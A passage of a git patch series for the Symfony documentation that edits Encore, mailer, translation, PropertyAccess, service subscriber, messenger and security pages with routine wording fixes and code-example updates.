+    ("Could not find the entrypoints file from Webpack:
+    the file "/var/www/html/public/build/entrypoints.json" does not exist.
 
-.. 
-
-This is happening because you did not build your encore assets, hence no ``entrypoints.json`` file. Plus encore is working in strict mode by default, which causes  twig functions ``encore_entry_*`` to panic.
-
-To solve that you can add this to your ``config/packages/test/webpack_encore.yaml``
+This is happening because you did not build your Encore assets, hence no
+``entrypoints.json`` file. To solve this error, either build Encore assets or
+set the ``strict_mode`` option to ``false`` (this prevents Encore's Twig
+functions to trigger exceptions when there's no ``entrypoints.json`` file):
 
 .. code-block:: yaml
 
+    # config/packages/test/webpack_encore.yaml
     webpack_encore:
         strict_mode: false
-..
+        # ...

From b09ad2a671f88b97d54bfcf5570cb0491adc9db3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?O=D0=98U=D0=AFd=20da=20silva?=
 <bruno-ds@users.noreply.github.com>
Date: Thu, 22 Sep 2022 15:50:53 +0200
Subject: [PATCH 2335/5766] Remove reference to a removed configuration key

See https://github.com/symfony/symfony-docs/issues/17260 for more details
---
 reference/configuration/framework.rst | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d15bac0ba03..a274985afdb 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2167,19 +2167,6 @@ Whether or not to enable validation support.
 This option will automatically be set to ``true`` when one of the child
 settings is configured.
 
-.. _reference-validation-cache:
-
-cache
-.....
-
-**type**: ``string``
-
-The service that is used to persist class metadata in a cache. The service
-has to implement the :class:`Symfony\\Component\\Validator\\Mapping\\Cache\\CacheInterface`.
-
-Set this option to ``validator.mapping.cache.doctrine.apc`` to use the APC
-cache provided by the Doctrine project.
-
 .. _reference-validation-enable_annotations:
 
 enable_annotations

From 7db951de985349970d9bd6f6aa44ce85b6898867 Mon Sep 17 00:00:00 2001
From: mark2016 <markgiglio@gmail.com>
Date: Fri, 11 Mar 2022 13:03:20 +1100
Subject: [PATCH 2336/5766] [Mailer] Update mailer.rst

---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index e109c581adc..cca774a7bf5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -368,6 +368,17 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
 
 That's it! The message will be sent via the transport you configured.
 
+.. tip::
+    
+    If the transport is configured to send emails asynchronously, then no email will
+    be sent until a worker consumes it.  To send queued emails, run console commands as
+    specified in :doc:`Consuming Messages (Running the Worker) <messenger-worker>`.
+    Also ensure the PHP timezone in php.ini is set correctly for your region for both
+    the CLI php.ini and webserver php.ini, this ensures the timestamp that the worker
+    sees aligns to the timestamp recorded on the email in the message queue. (Sometimes
+    the CLI and webserver will read different php.ini files, depending on environment 
+    setup).
+
 Email Addresses
 ~~~~~~~~~~~~~~~
 

From 558b043a0956825b30c7e29a03ffd28ee25ced82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 16:44:39 +0200
Subject: [PATCH 2337/5766] Reword

---
 mailer.rst | 15 +++------------
 1 file changed, 3 insertions(+), 12 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cca774a7bf5..18a29affd02 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -366,18 +366,9 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         }
     }
 
-That's it! The message will be sent via the transport you configured.
-
-.. tip::
-    
-    If the transport is configured to send emails asynchronously, then no email will
-    be sent until a worker consumes it.  To send queued emails, run console commands as
-    specified in :doc:`Consuming Messages (Running the Worker) <messenger-worker>`.
-    Also ensure the PHP timezone in php.ini is set correctly for your region for both
-    the CLI php.ini and webserver php.ini, this ensures the timestamp that the worker
-    sees aligns to the timestamp recorded on the email in the message queue. (Sometimes
-    the CLI and webserver will read different php.ini files, depending on environment 
-    setup).
+That's it! The message will be sent via the transport you configured. If the
+transport is configured to :ref:`send emails asynchronously <mailer-sending-messages-async>`,
+the message won't be actually sent until :doc:`a worker consumes it <messenger-worker>`.
 
 Email Addresses
 ~~~~~~~~~~~~~~~

From 6bb460c6c650ce5116a9b854e6b65dd07658b6fe Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Fri, 12 Aug 2022 07:54:15 -0400
Subject: [PATCH 2338/5766] Fix path to bundle translations

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 50ea256af3c..13c2847f855 100644
--- a/translation.rst
+++ b/translation.rst
@@ -485,7 +485,7 @@ Translation Resource/File Names and Locations
 Symfony looks for message files (i.e. translations) in the following default locations:
 
 * the ``translations/`` directory (at the root of the project);
-* the ``Resources/translations/`` directory inside of any bundle.
+* the ``translations/`` directory inside of any bundle (or ``Resources/translations`` with Symfony < 6.1)
 
 The locations are listed here with the highest priority first. That is, you can
 override the translation messages of a bundle in the first directory.

From f6791ca98bb747c278b1a65dc52ef1c7626b8d81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 17:16:23 +0200
Subject: [PATCH 2339/5766] Tweak

---
 translation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 13c2847f855..649fe3efb7c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -485,7 +485,8 @@ Translation Resource/File Names and Locations
 Symfony looks for message files (i.e. translations) in the following default locations:
 
 * the ``translations/`` directory (at the root of the project);
-* the ``translations/`` directory inside of any bundle (or ``Resources/translations`` with Symfony < 6.1)
+* the ``translations/`` directory inside of any bundle (and also their
+  ``Resources/translations/`` directory, which is no longer recommended for bundles).
 
 The locations are listed here with the highest priority first. That is, you can
 override the translation messages of a bundle in the first directory.

From f217868c4f32555ff6d26da0cfa01fa7d35566ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 17:42:10 +0200
Subject: [PATCH 2340/5766] Tweaks

---
 mailer.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e7cd3e22182..c6f13b64c0b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -553,7 +553,8 @@ and headers.
         framework:
             mailer:
                 envelope:
-                    sender: 'Fabien <fabien@example.com>'
+                    sender: 'fabien@example.com'
+                    # sender: 'Fabien <fabien@example.com>' (use this to add a display name)
                     recipients: ['foo@example.com', 'bar@example.com']
                 headers:
                     From: 'Fabien <fabien@example.com>'
@@ -575,7 +576,9 @@ and headers.
             <framework:config>
                 <framework:mailer>
                     <framework:envelope>
-                        <framework:sender>Fabien &lt;fabien@example.com&gt;</framework:sender>
+                        <framework:sender>fabien@example.com</framework:sender>
+                        <!-- use this to add a display name:
+                        <framework:sender>Fabien &lt;fabien@example.com&gt;</framework:sender> -->
                         <framework:recipients>foo@example.com</framework:recipients>
                         <framework:recipients>bar@example.com</framework:recipients>
                     </framework:envelope>
@@ -595,7 +598,8 @@ and headers.
             $mailer = $framework->mailer();
             $mailer
                 ->envelope()
-                    ->sender('Fabien <fabien@example.com>')
+                    ->sender('fabien@example.com')
+                    // ->sender('Fabien <fabien@example.com>') (use this to add a display name)
                     ->recipients(['foo@example.com', 'bar@example.com'])
             ;
 

From 6a5d2eec0e9d3fa46fa56f4b4f2faf183cf7bd65 Mon Sep 17 00:00:00 2001
From: Felix Soedjede <soefelix@gmail.com>
Date: Fri, 23 Sep 2022 00:41:40 +0200
Subject: [PATCH 2341/5766] [PropertyAccess] Document nullsafe operator usage

---
 components/property_access.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/components/property_access.rst b/components/property_access.rst
index 956e78531d5..9a2890b3e88 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -63,6 +63,9 @@ method::
     // Symfony\Component\PropertyAccess\Exception\NoSuchIndexException
     $value = $propertyAccessor->getValue($person, '[age]');
 
+    // You can avoid the exception by adding the nullsafe operator
+    $value = $propertyAccessor->getValue($person, '[age?]');
+
 You can also use multi dimensional arrays::
 
     // ...
@@ -101,6 +104,36 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
+.. tip::
+
+    You can give an object graph with nullable object.
+
+    Given an object graph ``comment.person.profile``, where ``person`` is optional (can be null),
+    you can call the property accessor with ``comment.person?.profile`` (using the nullsafe
+    operator) to avoid exception.
+
+    For example::
+
+        class Person
+        {
+        }
+        class Comment
+        {
+            public ?Person $person = null;
+            public string $message;
+        }
+
+        $comment = new Comment();
+        $comment->message = 'test';
+
+        // This code throws an exception of type
+        // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException
+        var_dump($propertyAccessor->getValue($comment, 'person.firstname'));
+
+        // The code now returns null, instead of throwing an exception of type
+        // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException,
+        var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null
+
 .. caution::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.

From e92175f067a6aa90435bdba0cf4135064e0bb740 Mon Sep 17 00:00:00 2001
From: Vlad Ghita <vlad_micutul@yahoo.com>
Date: Fri, 23 Sep 2022 12:46:02 +0300
Subject: [PATCH 2342/5766] Fix typo

---
 security/access_denied_handler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 8492ff24bef..dc6e6da646c 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -10,7 +10,7 @@ to disallow access to the user. Symfony will handle this exception and
 generates a response based on the authentication state:
 
 * **If the user is not authenticated** (or authenticated anonymously), an
-  authentication entry point is used to generated a response (typically
+  authentication entry point is used to generate a response (typically
   a redirect to the login page or an *401 Unauthorized* response);
 * **If the user is authenticated, but does not have the required
   permissions**, a *403 Forbidden* response is generated.

From c7325fa5f05b216f1716cf2cc325a3970b6a6778 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 23 Sep 2022 17:52:52 +0200
Subject: [PATCH 2343/5766] Trying to add quotation markup

Current approach (turning it into a blockquote by indenting it) doesn't work: https://symfony.com/doc/4.4/form/form_collections.html#allowing-new-tags-with-the-prototype
---
 form/form_collections.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index f5cef95ee95..262c4925108 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -412,9 +412,9 @@ you will learn about next!).
     call ``$entityManager->persist($tag)`` on each, you'll receive an error from
     Doctrine:
 
-        A new entity was found through the relationship
-        ``App\Entity\Task#tags`` that was not configured to
-        cascade persist operations for entity...
+    > A new entity was found through the relationship
+    > ``App\Entity\Task#tags`` that was not configured to
+    > cascade persist operations for entity...
 
     To fix this, you may choose to "cascade" the persist operation automatically
     from the ``Task`` object to any related tags. To do this, add the ``cascade``

From 2d6474ad96bc5a1fb91ccf08cc8bbc1cf2f0121f Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Thu, 22 Sep 2022 17:42:55 +0200
Subject: [PATCH 2344/5766] Replace switch statement with match expression

---
 bundles/prepend_extension.rst | 22 +++++++++-----------
 form/type_guesser.rst         | 39 ++++++++++++++---------------------
 security/voters.rst           | 13 +++++-------
 3 files changed, 30 insertions(+), 44 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index fe551f31083..7b54ba14de0 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -65,18 +65,16 @@ in case a specific other bundle is not registered::
             // disable AcmeGoodbyeBundle in bundles
             $config = ['use_acme_goodbye' => false];
             foreach ($container->getExtensions() as $name => $extension) {
-                switch ($name) {
-                    case 'acme_something':
-                    case 'acme_other':
-                        // set use_acme_goodbye to false in the config of
-                        // acme_something and acme_other
-                        //
-                        // note that if the user manually configured
-                        // use_acme_goodbye to true in config/services.yaml
-                        // then the setting would in the end be true and not false
-                        $container->prependExtensionConfig($name, $config);
-                        break;
-                }
+                match ($name) {
+                    // set use_acme_goodbye to false in the config of
+                    // acme_something and acme_other
+                    //
+                    // note that if the user manually configured
+                    // use_acme_goodbye to true in config/services.yaml
+                    // then the setting would in the end be true and not false
+                    'acme_something', 'acme_other' => $container->prependExtensionConfig($name, $config),
+                    default => null
+                };
             }
         }
 
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 2856072e8d3..9925669ea55 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -105,30 +105,21 @@ With this knowledge, you can implement the ``guessType()`` method of the
             }
 
             // otherwise, base the type on the @var annotation
-            switch ($annotations['var']) {
-                case 'string':
-                    // there is a high confidence that the type is text when
-                    // @var string is used
-                    return new TypeGuess(TextType::class, [], Guess::HIGH_CONFIDENCE);
-
-                case 'int':
-                case 'integer':
-                    // integers can also be the id of an entity or a checkbox (0 or 1)
-                    return new TypeGuess(IntegerType::class, [], Guess::MEDIUM_CONFIDENCE);
-
-                case 'float':
-                case 'double':
-                case 'real':
-                    return new TypeGuess(NumberType::class, [], Guess::MEDIUM_CONFIDENCE);
-
-                case 'boolean':
-                case 'bool':
-                    return new TypeGuess(CheckboxType::class, [], Guess::HIGH_CONFIDENCE);
-
-                default:
-                    // there is a very low confidence that this one is correct
-                    return new TypeGuess(TextType::class, [], Guess::LOW_CONFIDENCE);
-            }
+            return match($annotations['var']) {
+                // there is a high confidence that the type is text when
+                // @var string is used
+                'string' => new TypeGuess(TextType::class, [], Guess::HIGH_CONFIDENCE),
+
+                // integers can also be the id of an entity or a checkbox (0 or 1)
+                'int', 'integer' => new TypeGuess(IntegerType::class, [], Guess::MEDIUM_CONFIDENCE),
+
+                'float', 'double', 'real' => new TypeGuess(NumberType::class, [], Guess::MEDIUM_CONFIDENCE),
+
+                'boolean', 'bool' => new TypeGuess(CheckboxType::class, [], Guess::HIGH_CONFIDENCE),
+
+                // there is a very low confidence that this one is correct
+                default => new TypeGuess(TextType::class, [], Guess::LOW_CONFIDENCE)
+            };
         }
 
         protected function readPhpDocAnnotations(string $class, string $property): array
diff --git a/security/voters.rst b/security/voters.rst
index 45fcc50b4ac..58aef78a3b6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -153,14 +153,11 @@ would look like this::
             /** @var Post $post */
             $post = $subject;
 
-            switch ($attribute) {
-                case self::VIEW:
-                    return $this->canView($post, $user);
-                case self::EDIT:
-                    return $this->canEdit($post, $user);
-            }
-
-            throw new \LogicException('This code should not be reached!');
+            return match($attribute) {
+                self::VIEW => $this->canView($post, $user),
+                self::EDIT => $this->canEdit($post, $user),
+                default => throw new \LogicException('This code should not be reached!')
+            };
         }
 
         private function canView(Post $post, User $user): bool

From aa672928388fc52e61a757026e24b3f7c241f7b4 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sat, 24 Sep 2022 08:51:35 -0300
Subject: [PATCH 2345/5766] [Cache] Tip to not reconfigure system cache

---
 cache.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/cache.rst b/cache.rst
index 9982c33a7cf..534a11b2573 100644
--- a/cache.rst
+++ b/cache.rst
@@ -96,6 +96,11 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
             ],
         ]);
 
+.. tip::
+
+    While it is possible to reconfigure the system cache, it is not recommended, because
+    the default is really the best possible configuration.
+
 The Cache component comes with a series of adapters pre-configured:
 
 * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>`

From 6dba219a43ef18f28b5b922a736cb2d4375ab652 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 25 Sep 2022 11:58:14 +0200
Subject: [PATCH 2346/5766] [DependencyInjection] Add a section for testing
 service subscribers

---
 .../service_subscribers_locators.rst          | 53 ++++++++++++++++++-
 1 file changed, 52 insertions(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 72971213618..b2196ba1578 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -256,7 +256,7 @@ argument of type ``service_locator``:
         # config/services.yaml
         services:
             App\CommandBus:
-                arguments: 
+                arguments:
                   - !service_locator
                       App\FooCommand: '@app.command_handler.foo'
                       App\BarCommand: '@app.command_handler.bar'
@@ -723,4 +723,55 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
+Testing a Service Subscriber
+----------------------------
+
+When you need to unit test a service subscriber, you can either create a fake
+``ServiceLocator``::
+
+    use Symfony\Component\DependencyInjection\ServiceLocator;
+
+    $container = new class() extends ServiceLocator {
+        private $services = [];
+
+        public function __construct()
+        {
+            parent::__construct([
+                'foo' => function () {
+                    return $this->services['foo'] = $this->services['foo'] ?? new stdClass();
+                },
+                'bar' => function () {
+                    return $this->services['bar'] = $this->services['bar'] ?? $this->createBar();
+                },
+            ]);
+        }
+
+        private function createBar()
+        {
+            $bar = new stdClass();
+            $bar->foo = $this->get('foo');
+
+            return $bar;
+        }
+    };
+
+    $serviceSubscriber = new MyService($container);
+    // ...
+
+Or mock it when using ``PHPUnit``::
+
+    use Psr\Container\ContainerInterface;
+
+    $container = $this->createMock(ContainerInterface::class);
+    $container->expects(self::any())
+        ->method('get')
+        ->willReturnMap([
+            ['foo', $this->createStub(Foo::class)],
+            ['bar', $this->createStub(Bar::class)],
+        ])
+    ;
+
+    $serviceSubscriber = new MyService($container);
+    // ...
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From f0048ef4bbef632a6677d8cd65933ad42e2239a0 Mon Sep 17 00:00:00 2001
From: Yanick Witschi <yanick.witschi@terminal42.ch>
Date: Tue, 27 Sep 2022 15:43:33 +0200
Subject: [PATCH 2347/5766] Fix docs referencing an incorrect PHP function

---
 service_container/service_subscribers_locators.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index f947dd9ba87..7612333f6b3 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -293,10 +293,10 @@ argument of type ``service_locator``:
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
-                    'App\FooCommand' => ref('app.command_handler.foo'),
-                    'App\BarCommand' => ref('app.command_handler.bar'),
+                    'App\FooCommand' => service('app.command_handler.foo'),
+                    'App\BarCommand' => service('app.command_handler.bar'),
                     // if the element has no key, the ID of the original service is used
-                    ref('app.command_handler.baz'),
+                    service('app.command_handler.baz'),
                 ])]);
         };
 

From 185d4caef130ff525044c8062a9c5ce51d56ed01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Sep 2022 16:41:58 +0200
Subject: [PATCH 2348/5766] Minor tweak

---
 service_container/service_subscribers_locators.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 7612333f6b3..50ec684f681 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -293,6 +293,7 @@ argument of type ``service_locator``:
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
+                    // In versions earlier to Symfony 5.1 the service() function was called ref()
                     'App\FooCommand' => service('app.command_handler.foo'),
                     'App\BarCommand' => service('app.command_handler.bar'),
                     // if the element has no key, the ID of the original service is used

From 83a3fe7649c98c355dc3adeded713bbc9255ae33 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Sep 2022 16:43:09 +0200
Subject: [PATCH 2349/5766] Remove an unnecessary note

---
 service_container/service_subscribers_locators.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d29b48fbc09..cc8410dbc31 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -293,7 +293,6 @@ argument of type ``service_locator``:
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
-                    // In versions earlier to Symfony 5.1 the service() function was called ref()
                     'App\FooCommand' => service('app.command_handler.foo'),
                     'App\BarCommand' => service('app.command_handler.bar'),
                     // if the element has no key, the ID of the original service is used

From 54fa0bf58a1d2167c4c1003b1907c1cef8e775e3 Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Tue, 27 Sep 2022 11:06:59 -0400
Subject: [PATCH 2350/5766] Restore tip regarding schema filtering during
 migrations

---
 messenger.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 20f1136de94..e942dfbb2e7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1439,6 +1439,36 @@ a table named ``messenger_messages``.
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
+.. tip::
+
+    To avoid tools like Doctrine Migrations from trying to remove this table because
+    it's not part of your normal schema, you can set the ``schema_filter`` option:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/doctrine.yaml
+            doctrine:
+                dbal:
+                    schema_filter: '~^(?!messenger_messages)~'
+
+        .. code-block:: xml
+
+            # config/packages/doctrine.xml
+            <doctrine:dbal schema-filter="~^(?!messenger_messages)~"/>
+
+        .. code-block:: php
+
+            # config/packages/doctrine.php
+            $container->loadFromExtension('doctrine', [
+                'dbal' => [
+                    'schema_filter'  => '~^(?!messenger_messages)~',
+                    // ...
+                ],
+                // ...
+            ]);
+
 .. caution::
 
     The datetime property of the messages stored in the database uses the

From 3bea56b750d98ae816ed674c3d9c70b7b5f03a3b Mon Sep 17 00:00:00 2001
From: Jarek Jakubowski <egger1991@gmail.com>
Date: Mon, 26 Sep 2022 15:03:54 +0200
Subject: [PATCH 2351/5766] Fix typo

"private services services"
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index c40039e5f08..683998543ec 100644
--- a/testing.rst
+++ b/testing.rst
@@ -272,7 +272,7 @@ the container is stored in ``self::$container``::
 
 The container in ``self::$container`` is actually a special test container.
 It gives you access to both the public services and the non-removed
-:ref:`private services <container-public>` services.
+:ref:`private services <container-public>`.
 
 .. note::
 

From 3d1774a64be07f1cdbddd70cba9e791f0fc3e6cf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Sep 2022 17:40:06 +0200
Subject: [PATCH 2352/5766] Update RST syntax

---
 form/form_collections.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 262c4925108..0797a1ca057 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -412,9 +412,11 @@ you will learn about next!).
     call ``$entityManager->persist($tag)`` on each, you'll receive an error from
     Doctrine:
 
-    > A new entity was found through the relationship
-    > ``App\Entity\Task#tags`` that was not configured to
-    > cascade persist operations for entity...
+    .. code-block:: text
+
+        A new entity was found through the relationship
+        ``App\Entity\Task#tags`` that was not configured to
+        cascade persist operations for entity...
 
     To fix this, you may choose to "cascade" the persist operation automatically
     from the ``Task`` object to any related tags. To do this, add the ``cascade``

From 4bf1a42f43639174f7b5685583c701380cfb8532 Mon Sep 17 00:00:00 2001
From: Malte Wunsch <mw@webfactory.de>
Date: Tue, 27 Sep 2022 20:21:16 +0200
Subject: [PATCH 2353/5766] Fix use statement

---
 bundles/extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index bbbfd398018..edbcb5cd270 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
     namespace Acme\HelloBundle\DependencyInjection;
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\DependencyInjection\Extension;
+    use Symfony\Component\DependencyInjection\Extension\Extension;
 
     class AcmeHelloExtension extends Extension
     {

From 69d06ffa668dc8e1b76120fb2d0f3444abd56b99 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 28 Sep 2022 09:20:07 +0200
Subject: [PATCH 2354/5766] remove display names from envelope headers

---
 mailer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index c6f13b64c0b..18a29affd02 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -554,7 +554,6 @@ and headers.
             mailer:
                 envelope:
                     sender: 'fabien@example.com'
-                    # sender: 'Fabien <fabien@example.com>' (use this to add a display name)
                     recipients: ['foo@example.com', 'bar@example.com']
                 headers:
                     From: 'Fabien <fabien@example.com>'
@@ -577,8 +576,6 @@ and headers.
                 <framework:mailer>
                     <framework:envelope>
                         <framework:sender>fabien@example.com</framework:sender>
-                        <!-- use this to add a display name:
-                        <framework:sender>Fabien &lt;fabien@example.com&gt;</framework:sender> -->
                         <framework:recipients>foo@example.com</framework:recipients>
                         <framework:recipients>bar@example.com</framework:recipients>
                     </framework:envelope>
@@ -599,7 +596,6 @@ and headers.
             $mailer
                 ->envelope()
                     ->sender('fabien@example.com')
-                    // ->sender('Fabien <fabien@example.com>') (use this to add a display name)
                     ->recipients(['foo@example.com', 'bar@example.com'])
             ;
 

From 9f31eb7cf3fa39a1605887f163a79323e02fc3f3 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 29 Sep 2022 13:17:46 +0200
Subject: [PATCH 2355/5766] Improve the diff highlighting for custom webpack
 plugins

Highlighting only part of the new method call does not make sense.
---
 frontend/encore/custom-loaders-plugins.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 6e0957a085c..92699b0857a 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -57,9 +57,9 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_):
           // ...
 
     +     .addPlugin(new webpack.IgnorePlugin({
-              resourceRegExp: /^\.\/locale$/,
-              contextRegExp: /moment$/,
-          }))
+    +         resourceRegExp: /^\.\/locale$/,
+    +         contextRegExp: /moment$/,
+    +     }))
       ;
 
 .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader

From 23aed78fa76ba342c41a7d907de165284e484507 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Sep 2022 17:41:57 +0200
Subject: [PATCH 2356/5766] Minor tweak

---
 service_container/service_subscribers_locators.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index b2196ba1578..eadecea3fd2 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -726,8 +726,7 @@ and compose your services with them::
 Testing a Service Subscriber
 ----------------------------
 
-When you need to unit test a service subscriber, you can either create a fake
-``ServiceLocator``::
+To unit test a service subscriber, you can create a fake ``ServiceLocator``::
 
     use Symfony\Component\DependencyInjection\ServiceLocator;
 
@@ -758,7 +757,7 @@ When you need to unit test a service subscriber, you can either create a fake
     $serviceSubscriber = new MyService($container);
     // ...
 
-Or mock it when using ``PHPUnit``::
+Another alternative is to mock it using ``PHPUnit``::
 
     use Psr\Container\ContainerInterface;
 

From c0f4dd4f75382936f48e1e59b77c460b56106658 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Sep 2022 17:51:15 +0200
Subject: [PATCH 2357/5766] Minor tweak

---
 frontend/encore/simple-example.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index eef08de0207..1e5448655a8 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -87,7 +87,8 @@ with ``npm run``.
 
 .. caution::
 
-    Whenever you make changes in your ``webpack.config.js`` file, you need to stop and restart ``encore``.
+    Whenever you make changes in your ``webpack.config.js`` file, you must
+    stop and restart ``encore``.
 
 Congrats! You now have three new files:
 

From c08a0a857416d0d89035fe79fb954f5e868dcec4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 29 Sep 2022 22:06:29 +0200
Subject: [PATCH 2358/5766] Removing self-closing slash from `<input>`s

I suggested the same for Symfony's templates, see https://github.com/symfony/symfony/pull/47715
---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index c70b01d8652..6650098747a 100644
--- a/security.rst
+++ b/security.rst
@@ -807,13 +807,13 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
+            <input type="text" id="username" name="_username" value="{{ last_username }}">
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password"/>
+            <input type="password" id="password" name="_password">
 
